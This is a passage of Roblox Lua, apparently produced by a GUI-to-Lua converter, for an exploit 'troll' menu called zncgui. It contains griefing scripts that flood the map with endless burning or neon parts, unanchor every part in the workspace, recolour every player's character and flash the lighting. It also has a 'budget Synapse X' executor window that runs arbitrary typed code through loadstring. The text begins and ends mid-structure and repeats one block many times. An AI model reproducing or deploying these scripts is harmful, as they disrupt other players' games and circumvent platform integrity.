script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) end; task.spawn(C_17); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_19() local script = G2L["19"]; script.Parent.MouseButton1Down:Connect(function() for i,v in pairs(game.Workspace:GetDescendants()) do if v:IsA("BasePart") then v.Anchored = false end end for i,v in pairs(game.ReplicatedStorage:GetDescendants()) do if v:IsA("BasePart") then v.Anchored = false end end for i,v in pairs(game.ReplicatedFirst:GetDescendants()) do if v:IsA("BasePart") then v.Anchored = false end end end) end; task.spawn(C_19); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_1b() local script = G2L["1b"]; script.Parent.MouseButton1Click:Connect(function() while true do communism=math.random(0,3) crex=math.random(3,100) obesity=math.random(-500, 500) positivity=math.random(100, 600) IEndorseThese=math.random(-500, 500) wait() doom=Instance.new("Part") local imnotfat = math.random(1, 3) if imnotfat == 1 then doom.Shape = "Ball" else if imnotfat == 2 then doom.Shape = "Cylinder" else end end doom.Material = "Neon" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, positivity, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, communism, communism) doom.Parent = game.Workspace yooka=math.random(-200, -50) doom=Instance.new("Part") doom.Shape = "Ball" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, yooka, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, 800, communism) doom.Parent = game.Workspace communism=math.random(0,3) crex=math.random(3,100) obesity=math.random(-500, 500) positivity=math.random(100, 600) IEndorseThese=math.random(-500, 500) doom=Instance.new("Part") doom.Shape = "Ball" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, positivity, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, communism, communism) doom.Parent = game.Workspace communism=math.random(0,3) crex=math.random(3,100) obesity=math.random(-500, 500) positivity=math.random(100, 600) IEndorseThese=math.random(-500, 500) doom=Instance.new("Part") doom.Shape = "Ball" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, positivity, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, communism, communism) doom.Parent = game.Workspace communism=math.random(0,3) crex=math.random(3,100) obesity=math.random(-500, 500) positivity=math.random(100, 600) IEndorseThese=math.random(-500, 500) doom=Instance.new("Part") doom.Shape = "Ball" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, positivity, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, communism, communism) doom.Parent = game.Workspace end end) end; task.spawn(C_1b); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_20() local script = G2L["20"]; function click() for _,player in pairs(game.Players:GetPlayers()) do spawn(function() while wait(0.7) do player.Character:FindFirstChildOfClass("BodyColors").HeadColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").TorsoColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").LeftLegColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").RightLegColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").LeftArmColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").RightArmColor = BrickColor.random() end end) end end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_20); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_22() local script = G2L["22"]; script.Parent.MouseButton1Click:Connect(function() local Lighting = game:GetService("Lighting") local ColorCorrection = Instance.new("ColorCorrectionEffect", Lighting) function zigzag(X) return math.acos(math.cos(X*math.pi))/math.pi end Counter = 0 Lighting.TimeOfDay = "15:00" while wait(0.01) do ColorCorrection.TintColor = Color3.fromHSV(zigzag(Counter),1,1) Lighting.Ambient = Color3.fromHSV(zigzag(Counter),1,1) Counter += 0.01 end end) end; task.spawn(C_22); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_24() local script = G2L["24"]; script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer -- GUI principal local gui = Instance.new("ScreenGui") gui.Name = "CustomExecutor" gui.ResetOnSpawn = false gui.Parent = player:WaitForChild("PlayerGui") -- Ventana principal (más pequeña y semi-transparente) local mainFrame = Instance.new("Frame") mainFrame.Size = UDim2.new(0, 400, 0, 240) mainFrame.Position = UDim2.new(0.3, 0, 0.3, 0) mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30) mainFrame.BackgroundTransparency = 0.3 mainFrame.BorderSizePixel = 0 mainFrame.Active = true mainFrame.Draggable = true mainFrame.Parent = gui -- Título local title = Instance.new("TextLabel") title.Size = UDim2.new(1, 0, 0, 35) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Text = "synapse x de buget" title.TextColor3 = Color3.new(1, 1, 1) title.TextScaled = true title.Font = Enum.Font.SourceSansBold title.Parent = mainFrame -- Cuadro de texto (fondo negro, más pequeño) local input = Instance.new("TextBox") input.Size = UDim2.new(0.9, 0, 0.55, 0) input.Position = UDim2.new(0.05, 0, 0.18, 0) input.BackgroundColor3 = Color3.fromRGB(0, 0, 0) input.BackgroundTransparency = 0 input.BorderSizePixel = 0 input.TextColor3 = Color3.new(1, 1, 1) input.Text = "" input.Font = Enum.Font.Code input.TextWrapped = true input.TextXAlignment = Enum.TextXAlignment.Left input.TextYAlignment = Enum.TextYAlignment.Top input.TextSize = 16 input.ClearTextOnFocus = false input.MultiLine = true input.Parent = mainFrame -- Crear botón local function createButton(text, position) local btn = Instance.new("TextButton") btn.Size = UDim2.new(0, 90, 0, 30) btn.Position = position btn.BackgroundColor3 = Color3.fromRGB(0, 0, 0) btn.BackgroundTransparency = 0 btn.BorderSizePixel = 0 btn.Text = text btn.TextColor3 = Color3.new(1, 1, 1) btn.TextScaled = true btn.Font = Enum.Font.SourceSansBold btn.Parent = mainFrame return btn end -- Botones local executeBtn = createButton("Execute", UDim2.new(0.05, 0, 0.8, 0)) local r6Btn = createButton("R6", UDim2.new(0.375, 0, 0.8, 0)) local closeBtn = createButton("Close", UDim2.new(0.70, 0, 0.8, 0)) -- Funciones executeBtn.MouseButton1Click:Connect(function() local code = input.Text if code and code ~= "" then pcall(function() loadstring(code)() end) end end) r6Btn.MouseButton1Click:Connect(function() local Players = game:GetService("Players") local AvatarEditor = game:GetService("AvatarEditorService") local TweenService = game:GetService("TweenService") local UIS = game:GetService("UserInputService") if _G.AvatarRigPromptUI then return end _G.AvatarRigPromptUI = true local player = Players.LocalPlayer local playerGui = player:WaitForChild("PlayerGui") local RigUI = Instance.new("ScreenGui") RigUI.Name = "AvatarRigPromptUI" RigUI.ResetOnSpawn = false RigUI.Parent = playerGui local MainFrame = Instance.new("Frame") MainFrame.Size = UDim2.new(0, 200, 0, 100) MainFrame.Position = UDim2.new(0.5, -100, 0, 20) MainFrame.BackgroundColor3 = Color3.fromRGB(25, 25, 35) MainFrame.Parent = RigUI local UIStroke = Instance.new("UIStroke") UIStroke.Thickness = 2 UIStroke.Color = Color3.fromRGB(100, 200, 255) UIStroke.Parent = MainFrame local dragActive, dragStart, frameStart MainFrame.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragActive = true dragStart = input.Position frameStart = MainFrame.Position end end) UIS.InputChanged:Connect(function(input) if dragActive and input.UserInputType == Enum.UserInputType.MouseMovement then local delta = input.Position - dragStart MainFrame.Position = UDim2.new( frameStart.X.Scale, frameStart.X.Offset + delta.X, frameStart.Y.Scale, frameStart.Y.Offset + delta.Y ) end end) UIS.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragActive = false end end) local function ExecuteRigChange() local char = player.Character if not char then return end local humanoid = char:FindFirstChildOfClass("Humanoid") if not humanoid then return end local desc = humanoid.HumanoidDescription:Clone() AvatarEditor:PromptSaveAvatar(desc, Enum.HumanoidRigType.R6) local result = AvatarEditor.PromptSaveAvatarCompleted:Wait() if result == Enum.AvatarPromptResult.Success then humanoid.Health = 0 humanoid:ChangeState(Enum.HumanoidStateType.Dead) player.CharacterAdded:Wait() task.wait(1) local newHumanoid = player.Character:FindFirstChildOfClass("Humanoid") if newHumanoid then newHumanoid:ApplyDescription(desc) newHumanoid:BuildRigFromDescription(desc, Enum.HumanoidRigType.R6) end end end local R6Button = Instance.new("TextButton") R6Button.Text = "R6 MODE" R6Button.Size = UDim2.new(0.9, 0, 0.6, 0) R6Button.Position = UDim2.new(0.05, 0, 0.2, 0) R6Button.Font = Enum.Font.GothamBold R6Button.TextColor3 = Color3.new(1,1,1) R6Button.BackgroundColor3 = Color3.fromRGB(50, 150, 200) R6Button.Parent = MainFrame R6Button.MouseButton1Click:Connect(function() TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(20, 100, 150)}):Play() ExecuteRigChange() task.wait(0.2) TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(50, 150, 200)}):Play() end) local CloseButton = Instance.new("TextButton") CloseButton.Text = "X" CloseButton.Size = UDim2.new(0, 24, 0, 24) CloseButton.Position = UDim2.new(1, -26, 0, 2) CloseButton.Font = Enum.Font.GothamBold CloseButton.TextColor3 = Color3.new(1, 1, 1) CloseButton.BackgroundColor3 = Color3.fromRGB(180, 60, 60) CloseButton.BorderSizePixel = 0 CloseButton.Parent = MainFrame CloseButton.MouseButton1Click:Connect(function() RigUI:Destroy() _G.AvatarRigPromptUI = nil end) end) closeBtn.MouseButton1Click:Connect(function() gui:Destroy() end) end) end; task.spawn(C_24); return G2L["1"], require; end) end; task.spawn(C_12); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript local function C_14() local script = G2L["14"]; script.Parent.MouseButton1Click:Connect(function() --[=[ d888b db db d888888b .d888b. db db db .d8b. 88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b 88 88 88 88 odD' 88 88 88 88ooo88 88 ooo 88 88 88 .88' 88 88 88 88~~~88 88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER ]=] -- Instances: 61 | Scripts: 26 | Modules: 0 | Tags: 0 local G2L = {}; -- StarterGui.ScreenGui G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")); G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; -- StarterGui.ScreenGui.Frame G2L["2"] = Instance.new("Frame", G2L["1"]); G2L["2"]["BorderSizePixel"] = 3; G2L["2"]["BackgroundColor3"] = Color3.fromRGB(95, 95, 95); G2L["2"]["BorderMode"] = Enum.BorderMode.Inset; G2L["2"]["Size"] = UDim2.new(0, 457, 0, 465); G2L["2"]["Position"] = UDim2.new(0.31963, 0, 0.18791, 0); G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2"]["BackgroundTransparency"] = 0.4; -- StarterGui.ScreenGui.Frame.ImageLabel G2L["3"] = Instance.new("ImageLabel", G2L["2"]); G2L["3"]["BorderSizePixel"] = 0; G2L["3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); -- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues" G2L["3"]["Image"] = [[rbxassetid://124868710717730]]; G2L["3"]["Size"] = UDim2.new(0, 187, 0, 123); G2L["3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["3"]["BackgroundTransparency"] = 1; G2L["3"]["Position"] = UDim2.new(0.05445, 0, -0.26592, 0); -- StarterGui.ScreenGui.Frame.TextLabel G2L["4"] = Instance.new("TextLabel", G2L["2"]); G2L["4"]["TextWrapped"] = true; G2L["4"]["BorderSizePixel"] = 0; G2L["4"]["TextSize"] = 14; G2L["4"]["TextScaled"] = true; G2L["4"]["BackgroundColor3"] = Color3.fromRGB(32, 32, 32); G2L["4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["4"]["RichText"] = true; G2L["4"]["Size"] = UDim2.new(0, 241, 0, 25); G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["4"]["Text"] = [[zncgui]]; G2L["4"]["Position"] = UDim2.new(0.25028, 0, -0.00292, 0); -- StarterGui.ScreenGui.Frame.TextLabel.UICorner G2L["5"] = Instance.new("UICorner", G2L["4"]); G2L["5"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.ScreenGui.Frame.TextButton G2L["6"] = Instance.new("TextButton", G2L["2"]); G2L["6"]["BorderSizePixel"] = 0; G2L["6"]["TextSize"] = 14; G2L["6"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["6"]["BackgroundTransparency"] = 0.2; G2L["6"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["6"]["Text"] = [[Troll gui 🤣🤣🤣]]; G2L["6"]["Position"] = UDim2.new(0.69214, 0, 0.40428, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["7"] = Instance.new("LocalScript", G2L["6"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["8"] = Instance.new("TextButton", G2L["2"]); G2L["8"]["BorderSizePixel"] = 0; G2L["8"]["TextSize"] = 14; G2L["8"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["8"]["BackgroundTransparency"] = 0.2; G2L["8"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["8"]["Text"] = [[znc_13 executor]]; G2L["8"]["Position"] = UDim2.new(0.08064, 0, 0.40433, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["9"] = Instance.new("LocalScript", G2L["8"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["a"] = Instance.new("TextButton", G2L["2"]); G2L["a"]["BorderSizePixel"] = 0; G2L["a"]["TextSize"] = 14; G2L["a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["a"]["BackgroundTransparency"] = 0.2; G2L["a"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["a"]["Text"] = [[hint]]; G2L["a"]["Position"] = UDim2.new(0.37673, 0, 0.40448, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["b"] = Instance.new("LocalScript", G2L["a"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["c"] = Instance.new("TextButton", G2L["2"]); G2L["c"]["BorderSizePixel"] = 0; G2L["c"]["TextSize"] = 14; G2L["c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["c"]["BackgroundTransparency"] = 0.2; G2L["c"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["c"]["Text"] = [[skybox]]; G2L["c"]["Position"] = UDim2.new(0.07942, 0, 0.30198, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["d"] = Instance.new("LocalScript", G2L["c"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["e"] = Instance.new("TextButton", G2L["2"]); G2L["e"]["BorderSizePixel"] = 0; G2L["e"]["TextSize"] = 14; G2L["e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["e"]["BackgroundTransparency"] = 0.2; G2L["e"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["e"]["Text"] = [[znc_ 13 decal spam]]; G2L["e"]["Position"] = UDim2.new(0.3732, 0, 0.30316, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["f"] = Instance.new("LocalScript", G2L["e"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["10"] = Instance.new("TextButton", G2L["2"]); G2L["10"]["BorderSizePixel"] = 0; G2L["10"]["TextSize"] = 14; G2L["10"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["10"]["BackgroundTransparency"] = 0.2; G2L["10"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["10"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["10"]["Text"] = [[particle]]; G2L["10"]["Position"] = UDim2.new(0.69312, 0, 0.30388, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["11"] = Instance.new("LocalScript", G2L["10"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["12"] = Instance.new("TextButton", G2L["2"]); G2L["12"]["BorderSizePixel"] = 0; G2L["12"]["TextSize"] = 14; G2L["12"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["12"]["BackgroundTransparency"] = 0.2; G2L["12"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["12"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["12"]["Text"] = [[skeleton sky]]; G2L["12"]["Position"] = UDim2.new(0.07597, 0, 0.19633, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["13"] = Instance.new("LocalScript", G2L["12"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["14"] = Instance.new("TextButton", G2L["2"]); G2L["14"]["BorderSizePixel"] = 0; G2L["14"]["TextSize"] = 14; G2L["14"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["14"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["14"]["BackgroundTransparency"] = 0.2; G2L["14"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["14"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["14"]["Text"] = [[flood]]; G2L["14"]["Position"] = UDim2.new(0.37805, 0, 0.19297, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["15"] = Instance.new("LocalScript", G2L["14"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["16"] = Instance.new("TextButton", G2L["2"]); G2L["16"]["BorderSizePixel"] = 0; G2L["16"]["TextSize"] = 14; G2L["16"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["16"]["BackgroundTransparency"] = 0.2; G2L["16"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["16"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["16"]["Text"] = [[666]]; G2L["16"]["Position"] = UDim2.new(0.69183, 0, 0.19236, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["17"] = Instance.new("LocalScript", G2L["16"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["18"] = Instance.new("TextButton", G2L["2"]); G2L["18"]["BorderSizePixel"] = 0; G2L["18"]["TextSize"] = 14; G2L["18"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["18"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["18"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["18"]["BackgroundTransparency"] = 0.2; G2L["18"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["18"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["18"]["Text"] = [[theme music]]; G2L["18"]["Position"] = UDim2.new(0.07155, 0, 0.08425, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["19"] = Instance.new("LocalScript", G2L["18"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["1a"] = Instance.new("TextButton", G2L["2"]); G2L["1a"]["BorderSizePixel"] = 0; G2L["1a"]["TextSize"] = 14; G2L["1a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1a"]["BackgroundTransparency"] = 0.2; G2L["1a"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["1a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1a"]["Text"] = [[romania spam]]; G2L["1a"]["Position"] = UDim2.new(0.3736, 0, 0.08924, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["1b"] = Instance.new("LocalScript", G2L["1a"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["1c"] = Instance.new("TextButton", G2L["2"]); G2L["1c"]["BorderSizePixel"] = 0; G2L["1c"]["TextSize"] = 14; G2L["1c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1c"]["BackgroundTransparency"] = 0.2; G2L["1c"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["1c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1c"]["Text"] = [[T7B3RS93 sound]]; G2L["1c"]["Position"] = UDim2.new(0.69181, 0, 0.08827, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["1d"] = Instance.new("LocalScript", G2L["1c"]); -- StarterGui.ScreenGui.Frame.close G2L["1e"] = Instance.new("TextButton", G2L["2"]); G2L["1e"]["TextWrapped"] = true; G2L["1e"]["BorderSizePixel"] = 0; G2L["1e"]["TextSize"] = 14; G2L["1e"]["TextScaled"] = true; G2L["1e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1e"]["BackgroundTransparency"] = 0.2; G2L["1e"]["Size"] = UDim2.new(0, 384, 0, 25); G2L["1e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1e"]["Text"] = [[close]]; G2L["1e"]["Name"] = [[close]]; G2L["1e"]["Position"] = UDim2.new(0.08555, 0, 0.91786, 0); -- StarterGui.ScreenGui.Frame.close.LocalScript G2L["1f"] = Instance.new("LocalScript", G2L["1e"]); -- StarterGui.ScreenGui.Frame.ImageLabel G2L["20"] = Instance.new("ImageLabel", G2L["2"]); G2L["20"]["BorderSizePixel"] = 0; G2L["20"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); -- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues" G2L["20"]["Image"] = [[rbxassetid://121071746877032]]; 